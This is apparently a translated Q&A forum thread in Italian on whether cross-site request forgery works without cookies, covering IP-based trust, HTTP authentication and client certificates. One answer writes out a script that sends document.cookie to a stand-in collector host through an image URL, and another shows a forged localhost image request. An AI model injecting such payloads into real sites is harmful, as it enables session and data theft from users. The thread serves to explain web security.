2010-09-17 18 views
5

Lo sto indagando da tempo, ma non ho trovato nulla per soddisfare la mia curiosità. È possibile, come utente, essere vittima di un attacco CSRF se i cookie sono disabilitati. Ovviamente CSRF dipende dal browser degli utenti per inviare le credenziali dell'utente con la richiesta forgiata al server legittimo. Oltre agli indirizzi IP, i browser non inviano automaticamente nessun altro valore di sessione, vero? In tal caso, fino a quando un utente può accedere con i cookie disabilitati, essi saranno al sicuro da CSRF anche su siti Web vulnerabili.È possibile CSRF senza cookie?

risposta

4

Quindi, è necessario chiedersi come fa il server a conoscere un client da un altro? Nella maggior parte dei casi, è il cookie di sessione, ma ci sono anche altri modi.

Si consideri un'applicazione di amministrazione, che è configurata per funzionare solo se si accede da localhost. Qui, il server sta attendendo l'indirizzo IP del browser. Ora, se un utente malintenzionato crea una pagina come <img src="http://localhost/do/something/harmful"/> e in qualche modo ottiene l'amministratore a visitare la sua pagina, si dispone di un CSRF.

Altri esempi includono l'uso improprio dell'autenticazione Http di base e del digest, come già sottolineato da Bruno.

+0

IMO, a condizione che il browser della vittima abbia una sessione attiva o un token di accesso attivo (tramite WebStorage, cookie, RAM o altro), il CSRF dovrebbe passare dal presupposto che il sito non utilizzi token di sincronizzazione volti a impedire CSRF. – Zack

-2

Certo - basta pensare se il sito non ha compromesso macchia HTML e hai inserito il seguente testo in un campo "commento":

<script> 
var img = document.createElement("img"); 
img.src = "http://example.com/collect.php?val=" + escape(document.cookie); 
</script> 

In sostanza si sta utilizzando javascript per raccogliere i cookie e scrivere il valori nei parametri URL di un tag immagine in modo che vengano passati al server "cattivo" quando il browser tenta di caricare l'immagine.

Ovviamente - nell'esempio sopra sto usando i cookie da "document.cookie" ma nello spirito della tua domanda "se i cookie sono disabilitati" è altrettanto facile estrarre qualsiasi altra informazione dal DOM (input nascosto valori di campo, ecc.) e inviarli nell'URL al server di destinazione.

+0

Sembra che questo sarebbe unendo XSS con CSRF. – Bruno

+0

Buon punto: stavo pensando più alla tradizionale XSS piuttosto che alla CSRF. –

+0

Tutti questi attacchi DOM sono possibili solo all'interno dello stesso dominio, corretto? Questo è strettamente un attacco XSS. – grossmae

4

Esistono altre forme di autenticazione supportate dai browser, in particolare HTTP Digest e HTTP Digest, nonché certificati client SSL/TLS. Sfortunatamente, l'interfaccia per "disconnettersi" quando si utilizzano questi meccanismi è in genere piuttosto scarsa. A differenza dei cookie e dei moduli, l'interruzione dell'utilizzo delle credenziali è controllata dal browser (non dal server e dai relativi cookie), ma i pulsanti sono nella migliore delle ipotesi in alcuni menu avanzati in generale (se esistono).

+0

Quindi, se un utente disabilita i cookie nel proprio browser, le alternative tipiche sono l'autenticazione HTTP o semplicemente il passaggio degli ID di sessione attraverso i moduli? – grossmae

Problemi correlati